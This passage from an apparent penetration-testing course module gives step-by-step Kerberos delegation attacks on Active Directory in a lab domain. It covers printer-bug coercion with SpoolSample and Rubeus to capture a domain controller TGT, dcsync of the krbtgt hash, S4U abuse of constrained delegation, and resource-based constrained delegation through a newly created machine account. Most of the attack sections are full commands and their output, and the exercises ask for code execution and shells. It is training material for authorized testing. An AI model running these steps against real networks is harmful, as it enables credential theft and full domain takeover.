controllers, and the print spooler service runs automatically at
startup in the context of the computer account.

In order to exploit the printer bug in this scenario, we must
determine if the print spooler service is running and available
on the domain controller from appsrv01. The MS-RPRN documentation
specifies that the RPC endpoint for the print spooler is
\pipe\spoolss and that no authentication is required.

To test this out, we'll log in to appsrv01 as the Offsec user and
attempt to access the named pipe with the dir command:

PS C:\Tools> dir \\cdc01\pipe\spoolss

    Directory: \\cdc01\pipe

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
                                                 spoolss

Listing 22 - Enumerating print spooler access

The output reveals that the print spooler service is running and
accessible.

Recall that this access is by design and
RpcRemoteFindFirstPrinterChangeNotification allows us to simulate
a print client and subscribe to notifications of changes on the print
server. These notifications are sent over the network by the print
spooler service via RPC over a named pipe.

When the "target" spooler accesses the named pipe on the "attacking"
machine, it will present a forwardable TGT along with the TGS if the
"attacking" machine is configured with unconstrained delegation.

As we did for the local privilege escalation, we'll call the
RpcOpenPrinter and RpcRemoteFindFirstPrinterChangeNotification
APIs through SpoolSample to facilitate the attack. Once the
authentication has taken place, we'll look for tickets in memory
originating from the domain controller machine account.

A compiled version of SpoolSample is located in the C:\Tools
folder of appsrv01.

We are missing one final item before we launch the attack. In the last
section, we used Mimikatz to find and extract the forwardable TGT, but
the sheer number of returned TGTs and TGSs makes monitoring difficult.
In addition, we had to write the TGT to disk to reuse it.

To solve these challenges, @harmj0y developed the Rubeus[920] C#
application, which has been copied to the C:\Tools folder of
appsrv01.

Let's launch Rubeus from an administrative command prompt in
monitor mode, specify a refresh interval of 5 seconds with
the /interval option, and filter on the domain controller
machine account with the /filteruser option:

C:\Tools> Rubeus.exe monitor /interval:5 /filteruser:CDC01$

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: TGT Monitoring
[*] Target user     : CDC01$
[*] Monitoring every 5 seconds for new TGTs

Listing 23 - Monitoring TGT from CDC01$ with Rubeus

With Rubeus monitoring for TGTs originating from the domain controller
machine account, we'll open a second command prompt and trigger the
print spooler change notification with SpoolSample.exe by
specifying the target machine and capture server:

C:\Tools> SpoolSample.exe CDC01 APPSRV01
[+] Converted DLL to shellcode
[+] Executing RDI
[+] Calling exported function
TargetServer: \\CDC01, CaptureServer: \\APPSRV01
Attempted printer notification and received an invalid handle. The coerced authentication probably worked!

Listing 24 - Initiating print spooler change notification

The SpoolSample output is not always accurate, and it may be necessary
to run the tool multiple times before the change notification callback
takes place.

After waiting a few seconds, we'll switch back to Rubeus, which
displays the TGT for the domain controller account:

[*] 4/13/2020 2:45:16 PM UTC - Found new TGT:

  User                  :  CDC01$@PROD.CORP1.COM
  StartTime             :  4/13/2020 2:26:32 AM
  EndTime               :  4/13/2020 12:26:32 PM
  RenewTill             :  4/15/2020 8:14:07 AM
  Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  Base64EncodedTicket   :

    doIFIjCCBR6gAwIBBaEDAgEWooIEIzCCBB9hggQbMIIEF6ADAgEF...

[*] Ticket cache size: 1

Listing 25 - Domain controller machine account TGT is found

We have forced the domain controller machine account to authenticate
to us and give us a TGT without any user interaction. Nice!

Dirk-jan Mollema created krbrelayx,[921] a Python
implementation of this technique. The benefit of this tool is that
it does not require execution of Rubeus and Spoolsample on the
compromised host as it will execute on the Kali machine.

Now that we've managed to avoid user interaction, we can further
improve this technique by avoiding the write to disk. Rubeus
monitor outputs the Base64-encoded TGT but it can also inject
the ticket into memory with the ptt command:

C:\Tools> Rubeus.exe ptt /ticket:doIFIjCCBR6gAwIBBaEDAgEWo...
...

[*] Action: Import Ticket
[+] Ticket successfully imported!

Listing 26 - Injecting TGT with Rubeus

With the TGT of the domain controller machine account injected into
memory, we can perform actions in the context of that TGT. However,
the CDC01$ account is not a local administrator on the domain
controller so we cannot directly perform lateral movement with it.

On the other hand, the account has domain replication permissions,
which means we can perform dcsync and dump the password hash
of any user, including the special krbtgt account:

mimikatz # lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt
[DC] 'prod.corp1.com' will be the domain
[DC] 'CDC01.prod.corp1.com' will be the DC server
[DC] 'prod\krbtgt' will be the user account

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 4/2/2020 7:09:13 AM
Object Security ID   : S-1-5-21-3776646582-2086779273-4091361643-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 4b6af2bf64714682eeef64f516a08949
    ntlm- 0: 4b6af2bf64714682eeef64f516a08949
    lm  - 0: 2342ac3fd35afd0223a1469f0afce2b1
...

Listing 27 - Executing DCSync as CDC01$

Armed with the krbtgt NTLM hash, we can craft a golden ticket and
obtain access to any resource in the domain. Alternatively, we can
dump the password hash of a member of the Domain Admins group.

The technique shown in this section illustrates just how dangerous
unconstrained Kerberos delegation is. If we are able to compromise
a server that has unconstrained delegation configured, we can obtain
complete domain compromise with default Active Directory settings.

In this section, we have demonstrated the attack via the Rubeus
executable, but we can also use the DLL implementation,[922] which
may help bypass application whitelisting.

In the next section, we'll investigate a more secure variant of
Kerberos delegation and demonstrate various attacks against it.

Exercises

  1. Repeat the attack and obtain a TGT for the domain controller
    machine account. Reboot appsrv01 to ensure no prior tickets are
    present.
  2. Inject the ticket and use it to gain a Meterpreter shell on the
    domain controller.

Constrained Delegation

In 2003, Microsoft released an updated and safer version of Kerberos
delegation known as constrained delegation.

The main goal of Kerberos delegation is to solve the double-hop
issue. While unconstrained delegation allowed the service to perform
authentication to anything in the domain, constrained delegation
limits the delegation scope.

Since the Kerberos protocol does not natively support constrained
delegation by default, Microsoft released two extensions for this
feature: S4U2Self[923] and S4U2Proxy.[924] Together,
these extensions solve the double-hop issue and limit access to only
the desired backend service.

Constrained delegation is configured on the computer or user object.
It is set through the msds-allowedtodelegateto[925] property
by specifying the SPNs the current object is allowed constrained
delegation against.

Before we delve into the details of how these extensions work, we will
locate any instances of constrained delegation in our lab environment.

To do so, once again, we'll turn to PowerView and use
Get-DomainUser together with the -TrustedToAuth
flag, which will enumerate constrained delegation:

The command is executed as the Offsec user on appsrv01 although
it does not matter which domain user or endpoint is used.

PS C:\tools> Get-DomainUser -TrustedToAuth

logoncount               : 7
badpasswordtime          : 4/5/2020 6:02:06 AM
distinguishedname        : CN=IISSvc,OU=prodUsers,DC=prod,DC=corp1,DC=com
objectclass              : {top, person, organizationalPerson, user}
displayname              : IISSvc
lastlogontimestamp       : 4/5/2020 5:31:25 AM
userprincipalname        : IISSvc@prod.corp1.com
name                     : IISSvc
objectsid                : S-1-5-21-3776646582-2086779273-4091361643-1108
samaccountname           : IISSvc
codepage                 : 0
samaccounttype           : USER_OBJECT
accountexpires           : NEVER
countrycode              : 0
whenchanged              : 4/6/2020 12:24:12 PM
instancetype             : 4
usncreated               : 24626
objectguid               : d9eeb03e-b247-4f63-bfd7-eb2a8d132674
lastlogoff               : 12/31/1600 4:00:00 PM
msds-allowedtodelegateto : {MSSQLSvc/CDC01.prod.corp1.com:SQLEXPRESS,
                           MSSQLSvc/cdc01.prod.corp1.com:1433}
objectcategory           : CN=Person,CN=Schema,CN=Configuration,DC=corp1,DC=com
dscorepropagationdata    : 1/1/1601 12:00:00 AM
serviceprincipalname     : HTTP/web
givenname                : IISSvc
lastlogon                : 4/6/2020 5:21:18 AM
badpwdcount              : 0
cn                       : IISSvc
useraccountcontrol       : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION
...

Listing 28 - Enumerating constrained Kerberos delegation

We'll focus on three important aspects of the output. First,
constrained delegation is configured for the IISSvc account. Its
name indicates that it is likely a service account for a web server
running IIS.

Next, notice that the msds-allowedtodelegateto property contains the
SPN of the MS SQL server on CDC01. This tells us that constrained
delegation is only allowed to that SQL server.

Finally, the TRUSTED_TO_AUTH_FOR_DELEGATION value in the
useraccountcontrol property is set. This value is used to indicate
whether constrained delegation can be used if the authentication
between the user and the service uses a different authentication
mechanism like NTLM.

This is the scenario that we are going to explore.

Before continuing, let's discuss these extensions beginning with
S4U2Self.

If a frontend service does not use Kerberos authentication and
the backend service does, it needs to be able to request a TGS
to the frontend service from a KDC on behalf of the user who is
authenticating against it. The S4U2Self extension enables this
if the TRUSTED_TO_AUTH_FOR_DELEGATION value is present in the
useraccountcontrol property. Additionally, the frontend service can
do this without requiring the password or the hash of the user.

In our specific case, this means that if we compromise the IISSvc
account, we can request a service ticket to IIS for any user in the
domain, including a domain administrator. Again, we can start the
attack without requiring any additional user interaction.

Similar to S4U2Self, the S4U2proxy extension requests a service ticket
for the backend service on behalf of a user. This extension depends on
the service ticket obtained either through S4U2Self or directly from
a user authentication via Kerberos.

Note that If Kerberos is used for authentication to the frontend
service, S4U2Proxy can use a forwardable TGS supplied by the user.
To exploit this, similarly to our initial attack that leveraged
unconstrained delegation, we would require user interaction.

Going back to our specific case, this extension allows IISSvc to
request a service ticket to any of the services listed as SPNs in the
msds-allowedtodelegateto field. More specifically, it would use the
TGS obtained through the S4USelf extension and submit it as a part of
the S4UProxy request for the backend service.

Once this service ticket request is made and the ticket is returned by
the KDC, IISSvc can perform authentication to that specific service
on that specific host. Again, assuming that we are able to compromise
the IISSvc account, we can request a service ticket for the services
listed in the msds-allowedtodelegateto field as any user in the
domain. Depending on the type of service, this may lead to code
execution.

In order to avoid any confusion in this scenario, it is critical to
recognize that this authentication mechanism involves two separate
TGSs, which are requested on behalf of the authenticating user, rather
than just one.

Constrained delegation yields a more difficult compromise path than
unconstrained delegation, but it is still exploitable. To demonstrate
this, we'll simulate a compromise of the IISSvc account and abuse
that to gain access to the MSSQL instance on CDC01.

We'll once again turn to Rubeus, which includes S4U extension support.

Kekeo[926] by Mimikatz author Benjamin Delphy also provides
access to S4U extension abuse.

Note that we do not need to execute in the context of the IISSvc
account in order to exploit the account. We only need the password
hash. However, if we only have the clear text password, we can use
the hash command in Rubeus to generate the NTLM hash as shown
below:

PS C:\Tools> .\Rubeus.exe hash /password:lab
...

[*] Action: Calculate Password Hash(es)

[*] Input password             : lab
[*]       rc4_hmac             : 2892D26CDF84D7A70E2EB3B9F05C425E

[!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types!

Listing 29 - Generating NTLM hash from password

Next, we'll use Rubeus to generate a TGT for IISSvc with the
asktgt command by supplying the username (/user),
domain (/domain), and NTLM hash (/rc4):

PS C:\Tools> .\Rubeus.exe asktgt /user:iissvc /domain:prod.corp1.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E
...

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2892D26CDF84D7A70E2EB3B9F05C425E
[*] Building AS-REQ (w/ preauth) for: 'prod.corp1.com\iissvc'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIE+jCCBPagAwIBBaEDAgEWooIECzCCBAdhggQDMIID/6A...

  ServiceName           :  krbtgt/prod.corp1.com
  ServiceRealm          :  PROD.CORP1.COM
  UserName              :  iissvc
  UserRealm             :  PROD.CORP1.COM
  StartTime             :  4/14/2020 7:48:16 AM
  EndTime               :  4/14/2020 5:48:16 PM
  RenewTill             :  4/21/2020 7:48:16 AM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  LfbSfF81qk+oMed+zvLoZg==

Listing 30 - Requesting TGT for IISSvc

Armed with the Base64-encoded TGT for IISSvc, we are ready to invoke
the S4U extensions.

We can do this with Rubeus by first specifying the s4u
command and then providing the Base64-encoded TGT (/ticket)
and the username we want to impersonate (/impersonateuser),
in our case, the administrator account of the domain. This will make
use of S4U2Self.

We'll also supply the SPN of the service (/msdsspn), which
is used with S4U2Proxy and finally the /ptt flag to directly
inject it into memory:

PS C:\Tools> .\Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /ptt
...

[*] Action: S4U

[*] Action: S4U

[*] Using domain controller: CDC01.prod.corp1.com (192.168.120.70)
[*] Building S4U2self request for: 'iissvc@PROD.CORP1.COM'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'administrator@PROD.CORP1.COM' to 'iissvc@PROD.CORP1.COM'
[*] base64(ticket.kirbi):

      doIFejCCBXagAwIBBaEDAgEWooIEhTCCBIFhggR9MIIEe...

[*] Impersonating user 'administrator' to target SPN 'mssqlsvc/cdc01.prod.corp1.com:1433'
[*] Using domain controller: CDC01.prod.corp1.com (192.168.120.70)
[*] Building S4U2proxy request for service: 'mssqlsvc/cdc01.prod.corp1.com:1433'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'mssqlsvc/cdc01.prod.corp1.com:1433':

      doIGfDCCBnigAwIBBaEDAgEWooIFajCCBWZhggViMIIF...
[+] Ticket successfully imported!

Listing 31 - Using S4U extensions to request a service ticket

The first highlighted part of Listing 31 is output by
S4U2Self and the second by S4U2Proxy. This attempt was successful and
we obtained a usable service ticket for the MSSQL service instance on
CDC01.

Since the TGS for MSSQL on CDC01 was injected into memory, we can
verify that it worked by turning to the MSSQL attacks we developed in
a previous module. The C:\Tools folder contains a compiled
version of the MSSQL login application. We'll use this to validate
that we are authenticated to MSSQL as the impersonated user:

PS C:\Tools> .\SQL.exe
Auth success!
Logged in as: PROD\Administrator
Mapped to the user: dbo
User is a member of public role
User is a member of sysadmin role

Listing 32 - Checking login and permissions on MSSQL

The output reveals that we have logged in to the MSSQL instance as the
domain administrator. Excellent!

By compromising an account that has constrained delegation
enabled, we can gain access to all the services configured
through the msDS-AllowedToDelegateTo property. If the
TRUSTED_TO_AUTH_FOR_DELEGATION value is set, we can do this
without user interaction.

In this section's example, we obtained a TGS for the MSSQLSvc service
name on the CDC01.PROD.CORP1.COM server. Interestingly, when the TGS
is returned from the KDC, the server name is encrypted, but not the
service name.

This means we can modify the service name within the TGS in memory and
obtain access to a different service on the same host.[927]
We can do this through Rubeus with the /altservice option. In
this case, we'll attempt to gain access to the CIFS service:

PS C:\Tools> .\Rubeus.exe s4u /ticket:doIE+jCCBPag... /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /altservice:CIFS /ptt
...

[*] Impersonating user 'administrator' to target SPN 'mssqlsvc/cdc01.prod.corp1.com:1433'
[*] Final ticket will be for the alternate service 'CIFS'
[*] Using domain controller: CDC01.prod.corp1.com (192.168.120.70)
[*] Building S4U2proxy request for service: 'mssqlsvc/cdc01.prod.corp1.com:1433'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] Substituting alternative service name 'CIFS'
[*] base64(ticket.kirbi) for SPN 'CIFS/cdc01.prod.corp1.com:1433':
...

Listing 33 - Specifying a different service with Rubeus

This TGS should yield access to the file system and potentially direct
code execution. Unfortunately, the SPN for the MSSQL server ends with
":1433", which is not usable for CIFS since it requires an SPN with the
format CIFS/cdc01.prod.corp1.com.

If we modify the SPN from CIFS/cdc01.prod.corp1.com:1433 to
CIFS/cdc01.prod.corp1.com in the command above, Rubeus generates an
KDC_ERR_S_PRINCIPAL_UNKNOWN error, indicating that the modified
SPN is not registered.

On the other hand, if the SPN configured for constrained delegation
only uses the service and host name like www/cdc01.prod.corp1.com, we
could modify the TGS to access any service on the system.

In the next section, we'll cover the newest iteration of Kerberos
delegation and demonstrate how it can be exploited.

Exercises

  1. Enumerate the lab and validate that constrained delegation is
    configured. Remember to reboot appsrv01 to ensure that no prior
    tickets are present.
  2. Exploit the constrained delegation to obtain a privileged TGS for
    the MSSQL server on CDC01.
  3. Complete the compromise of CDC01 through the MSSQLSvc TGS and
    achieve code execution.

Resource-Based Constrained Delegation

Constrained delegation works by configuring SPNs on the
frontend service under the msDS-AllowedToDelegateTo
property. Configuring constrained delegation also requires the
SeEnableDelegationPrivilege[928] privilege on the domain
controller, which is typically only enabled for Domain Admins.

With the release of Windows Server 2012, Microsoft introduced
resource-based constrained delegation (RBCD),[929] which is
meant to remove the requirement of highly elevated access rights like
SeEnableDelegationPrivilege from system administrators.

RBCD works by essentially turning the delegation settings around. The
msDS-AllowedToActOnBehalfOfOtherIdentity property [930] controls
delegation from the backend service. To configure RBCD, the SID of
the frontend service is written to the new property of the backend
service.

One advantage of this approach is that SeEnableDelegationPrivilege
permissions are no longer required and RBCD can typically be
configured by the backend service administrator instead.

Once RBCD has been configured, the frontend service can use
S4U2Self to request the forwardable TGS for any user to itself
followed by S4U2Proxy to create a TGS for that user to the
backend service. Unlike constrained delegation, under RBCD the
KDC checks if the SID of the frontend service is present in the
msDS-AllowedToActOnBehalfOfOtherIdentity property of the backend
service.

One important requirement is that the frontend service must have an
SPN set in the domain. A user account typically does not have an SPN
set but all computer accounts do. This means that any attack against
RBCD needs to happen from a computer account or a service account with
a SPN.

The same attack we performed against constrained delegation applies
to RBCD if we can compromise a frontend service that has its SID
configured in the msDS-AllowedToActOnBehalfOfOtherIdentity property
of a backend service.

We'll cover a RBCD attack in this section that leads to code execution
on appsrv01. This specific vector starts by compromising a domain
account that has the GenericWrite access right on a computer account
object.

This technique is the only known way of turning GenericWrite on a
computer object into code execution.

As usual, we begin with enumeration. In this case, we start with the
dave domain user from the Windows 10 client machine.

We'll reuse our enumeration technique from the prior sections but
replace Get-DomainUser with Get-DomainComputer to
target computer accounts instead:

PS C:\tools> Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}

AceType               : AccessAllowed
ObjectDN              : CN=APPSRV01,OU=prodComputers,DC=prod,DC=corp1,DC=com
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
OpaqueLength          : 0
ObjectSID             : S-1-5-21-3776646582-2086779273-4091361643-1110
InheritanceFlags      : None
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-3776646582-2086779273-4091361643-1601
AccessMask            : 131132
AuditFlags            : None
AceFlags              : None
AceQualifier          : AccessAllowed
Identity              : PROD\dave
...

Listing 34 - Enumerating access rights for the Dave user

The output in Listing 34 reveals that the dave user
has GenericWrite to appsrv01.

Since we have GenericWrite on appsrv01, we can update
any non-protected property on that object, including
msDS-AllowedToActOnBehalfOfOtherIdentity and add the SID of a
different computer.

Once a SID is added, we will act in the context of that computer
account and we can execute the S4U2Self and S4U2Proxy extensions to
obtain a TGS for appsrv01. To do this, we either have to obtain the
password hash of a computer account or simply create a new computer
account object with a selected password.

By default, any authenticated user can add up to ten computer accounts
to the domain and they will have SPNs set automatically. This value
is present in the ms-DS-MachineAccountQuota property in the Active
Directory domain object.

We can enumerate ms-DS-MachineAccountQuota with the PowerView
Get-DomainObject method:

PS C:\tools> Get-DomainObject -Identity prod -Properties ms-DS-MachineAccountQuota

ms-ds-machineaccountquota
-------------------------
                       10

Listing 35 - Enumerating ms-DS-MachineAccountQuota

Normally, the computer account object is created when a physical
computer is joined to the domain. We can simply create the
object itself with the New-MachineAccount method of the
Powermad.ps1[931] PowerShell script.

Powermad is located in the C:\Tools folder on the Windows 10
client machine. To use it, we'll specify the target computer account
name (-MachineAccount) and the password (-Password).
The password must be supplied as a SecureString, which we can
generate with ConvertTo-SecureString[932] as shown
in Listing 36.

PS C:\tools> . .\powermad.ps1

PS C:\tools> New-MachineAccount -MachineAccount myComputer -Password $(ConvertTo-SecureString 'h4x' -AsPlainText -Force)
[+] Machine account myComputer added

PS C:\tools> Get-DomainComputer -Identity myComputer

pwdlastset             : 4/14/2020 2:35:29 PM
logoncount             : 0
badpasswordtime        : 12/31/1600 4:00:00 PM
distinguishedname      : CN=myComputer,CN=Computers,DC=prod,DC=corp1,DC=com
objectclass            : {top, person, organizationalPerson, user...}
name                   : myComputer
serviceprincipalname   : {RestrictedKrbHost/myComputer, HOST/myComputer,
                         RestrictedKrbHost/myComputer.prod.corp1.com,
                         HOST/myComputer.prod.corp1.com}
...

Listing 36 - Creating computer account with Powermad

Listing 36 shows that the command was successful
and subsequent enumeration with Get-DomainComputer reveals
that the computer account object is present.

The msDS-AllowedToActOnBehalfOfOtherIdentity property stores the SID
as part of a security descriptor in a binary format. We must convert
the SID of our newly-created computer object to the correct format in
order to proceed with the attack.

To do this, we must first create a new security descriptor with the
correct SID. In the beginning of this module, we determined that the
SID is the last portion of a security descriptor string so we can
reuse a working string, replacing only the SID.

Fortunately, security researchers have discovered a
valid security descriptor string that we can use as
shown in Listing 37. We can use the
RawSecurityDescriptor[933] class to instantiate a
SecurityDescriptor object:

PS C:\tools> $sid =Get-DomainComputer -Identity myComputer -Properties objectsid | Select -Expand objectsid

PS C:\tools> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"

Listing 37 - Creating a new SecurityDescriptor

With the SecurityDescriptor object created, we must
convert it into a byte array to match the format for the
msDS-AllowedToActOnBehalfOfOtherIdentity property:

PS C:\tools> $SDbytes = New-Object byte[] ($SD.BinaryLength)

PS C:\tools> $SD.GetBinaryForm($SDbytes,0)

Listing 38 - Converting the SecurityDescriptor to a byte array

After the SecurityDescriptor has been converted to a byte array, we
can use Get-DomainComputer to obtain a handle to the computer
object for appsrv01 and then pipe that into Set-DomainObject,
which can update properties by specifying them with -Set
options:

PS C:\tools> Get-DomainComputer -Identity appsrv01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

Listing 39 - Setting msds-allowedtoactonbehalfofotheridentity

Remember that it is not normally possible to set the
msDS-AllowedToActOnBehalfOfOtherIdentity property for an arbitrary
computer account. However, since our dave user has the GenericWrite
access right to appsrv01, we can set this property.

We can also use this attack vector with GenericAll,
WriteProperty, or WriteDACL access rights to appsrv01.

After writing the SecurityDescriptor to the property field, we
should verify it. We can do this by reading the binary version
of it with Get-DomainComputer, then instantiating a
SecurityDescriptor object with RawSecurityDescriptor and finally
displaying the DACL:

PS C:\tools> $RBCDbytes = Get-DomainComputer appsrv01 -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity

PS C:\tools> $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RBCDbytes, 0

PS C:\tools> $Descriptor.DiscretionaryAcl

BinaryLength       : 36
AceQualifier       : AccessAllowed
IsCallback         : False
OpaqueLength       : 0
AccessMask         : 983551
SecurityIdentifier : S-1-5-21-3776646582-2086779273-4091361643-2101
AceType            : AccessAllowed
AceFlags           : None
IsInherited        : False
InheritanceFlags   : None
PropagationFlags   : None
AuditFlags         : None

PS C:\tools> ConvertFrom-SID S-1-5-21-3776646582-2086779273-4091361643-2101
PROD\myComputer$

Listing 40 - Verifying the SID in the SecurityDescriptor

The SecurityDescriptor was indeed set correctly in the
msDS-AllowedToActOnBehalfOfOtherIdentity property for appsrv01.

Now we can begin our attack in an attempt to compromise appsrv01.
We'll start by obtaining the hash of the computer account password
with Rubeus:

PS C:\tools> .\Rubeus.exe hash /password:h4x
...

[*] Action: Calculate Password Hash(es)

[*] Input password             : h4x
[*]       rc4_hmac             : AA6EAFB522589934A6E5CE92C6438221

[!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types!

Listing 41 - Calculate NTLM hash with Rubeus

In the previous section, we used the Rubeus asktgt command
to request a TGT before invoking the s4u command. We can also
directly submit the username and password hash to the s4u
command, which will implicitly call asktgt and inject the
resultant TGT, after which the S4U extensions will be invoked:

PS C:\tools> .\Rubeus.exe s4u /user:myComputer$ /rc4:AA6EAFB522589934A6E5CE92C6438221 /impersonateuser:administrator /msdsspn:CIFS/appsrv01.prod.corp1.com /ptt
...

[*] Action: S4U

[*] Using rc4_hmac hash: AA6EAFB522589934A6E5CE92C6438221
[*] Building AS-REQ (w/ preauth) for: 'prod.corp1.com\myComputer$'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFFDCCBRCgAwIBBaEDAgEWooIEI...


[*] Action: S4U

[*] Using domain controller: CDC01.prod.corp1.com (192.168.120.70)
[*] Building S4U2self request for: 'myComputer$@PROD.CORP1.COM'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'administrator@PROD.CORP1.COM' to 'myComputer$@PROD.CORP1.COM'
[*] base64(ticket.kirbi):

      doIFhDCCBYCgAwIBBaEDAgEWooIEi...

[*] Impersonating user 'administrator' to target SPN 'CIFS/appsrv01.prod.corp1.com'
[*] Using domain controller: CDC01.prod.corp1.com (192.168.120.70)
[*] Building S4U2proxy request for service: 'CIFS/appsrv01.prod.corp1.com'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'CIFS/appsrv01.prod.corp1.com':

      doIGbDCCBmigAwIBBaEDAgEWooIFY...
[+] Ticket successfully imported!

Listing 42 - Using S4U extension to request a TGS for appsrv01

After obtaining the TGT for the myComputer machine account, S4U2Self
will then request a forwardable service ticket as the administrator
user to the myComputer computer account.

Finally, S4U2Proxy is invoked to request a TGS for the CIFS service on
appsrv01 as the administrator user, after which it is injected into
memory.

To check the success of this attack, we'll first dump any loaded
Kerberos tickets with klist:

PS C:\tools> klist

Current LogonId is 0:0x58e86

Cached Tickets: (1)

#0>     Client: administrator @ PROD.CORP1.COM
        Server: CIFS/appsrv01.prod.corp1.com @ PROD.CORP1.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 4/15/2020 11:43:27 (local)
        End Time:   4/15/2020 21:43:27 (local)
        Renew Time: 4/22/2020 11:43:27 (local)
        Session Key Type: AES-128-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:

Listing 43 - Listing the service ticket to CIFS on APPSRV01

Now that we have a TGS for the CIFS service on appsrv01 as
administrator, we can interact with file services on appsrv01 in the
context of the administrator domain admin user:

PS C:\tools> dir \\appsrv01.prod.corp1.com\c$

    Directory: \\appsrv01.prod.corp1.com\c$

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         4/3/2020   7:17 AM                inetpub
d-----        7/16/2016   6:23 AM                PerfLogs
d-r---        4/14/2020   8:12 AM                Program Files
d-----        7/16/2016   6:23 AM                Program Files (x86)
d-----        4/14/2020   8:13 AM                Tools
d-r---         4/3/2020   2:07 PM                Users
d-----         4/4/2020  10:31 AM                Windows

Listing 44 - Verify CIFS access on APPSRV01

Our access to appsrv01 is in the context of the administrator domain
admin user. We can use our CIFS access to obtain code execution on
appsrv01, but in the process we will perform a network login instead
of an interactive login. This means our access will be limited to
appsrv01 and cannot directly be used to expand access towards the rest
of the domain.

Exercises

  1. Repeat the enumeration steps detailed in this section to discover
    the GenericWrite access to appsrv01.
  2. Implement the attack to gain a CIFS service ticket to appsrv01 by
    creating a new computer account object and use that with Rubeus. Be
    sure to reboot appsrv01 to clear any cached Kerberos tickets before
    starting the attack
  3. Leverage the CIFS TGS to get code execution on appsrv01.

Active Directory Forest Theory

Up to this point, we have only discussed and worked with Active
Directory concepts that use a single domain. In larger organizations
and corporations, the infrastructure is split into multiple domains
but still managed by Active Directory. When we perform penetration
tests against multi-domain infrastructures, we must obviously assess
the security posture of all domains. Given the importance of this,
we will spend the remainder of this module discussing, enumerating,
and exploiting design concepts for multi-domain Active Directory
implementations.

Active Directory Trust in a Forest

To begin, we'll discuss the underlying theory of multi-domain Active
Directory implementations. This will form a foundation for later
enumeration and subsequent attacks.

The main concept we'll focus on is trust, which allows two or more
domains to extend Kerberos authentication to each other.

For example, imagine the two domains, A and B, as illustrated in
Figure 3. Domain A trusts Domain B, which
means users of Domain B are able to access resources inside Domain A.

Figure 3: Trust from Domain A to Domain B

The combination of Kerberos authentication and trust makes it
possible to assign permissions to users in Domain B so that they can
access services, like files and shares, inside Domain A. This allows
distribution of users, data, and services across multiple domains.

Figure 3 shows trust from Domain A to
Domain B, which is called a one-way trust but trust can also be
configured from Domain B to Domain A, which results in a two-way or
bi-directional trust.

When trust is established, a TGT created in Domain B is usable in
Domain A because the domain controller in Domain A trusts the domain
controller in Domain B.

An Active Directory Forest,[934] essentially a parent container
for a number of domains, helps organize domain structures and allows
for many different design configurations. The first configuration
we'll discuss is a domain tree, which is illustrated in Figure
4.

Figure 4: Domain tree with three domains

In this example, the Corp.com root domain has a bi-directional
trust to the Prod.Corp.com child domain. This is configured by
default in Active Directory and is known as parent-child trust.
Likewise, a parent-child trust exists between Prod.Corp.com and
Factory.Prod.Corp.com.

Parent-child trust is transitive, which means that since Corp.com
trusts Prod.Corp.com, and Prod.Corp.com trusts Factory.Prod.Corp.com,
then by extension, Corp.com also trusts Factory.Prod.Corp.com.

A forest can contain multiple trees and each tree can contain
branches, which leads to a multitude of possible configurations. One
such configuration is illustrated in Figure 5.

Figure 5: Domain tree with branches

Due to the transitivity in parent-child trust, FactoryB.Prod.Corp.com
trusts Dev.Corp.com but the authentication path has to go through both
Prod.Corp.com and Corp.com, which will slow authentication.

To improve efficiency, a shortcut trust can be established
(indicated in Figure 5) between
FactoryB.Prod.Corp.com and Dev.Corp.com. This type of trust is also
transitive and can occur between two domains organized within the same
or separate trees.

Many organizations choose to design and structure their Active
Directory infrastructure in multiple domains to split apart services
from major business units and make them more transparent for system
administrators. As penetration testers, we must analyze the trust
between these domains to uncover potential attack vectors.

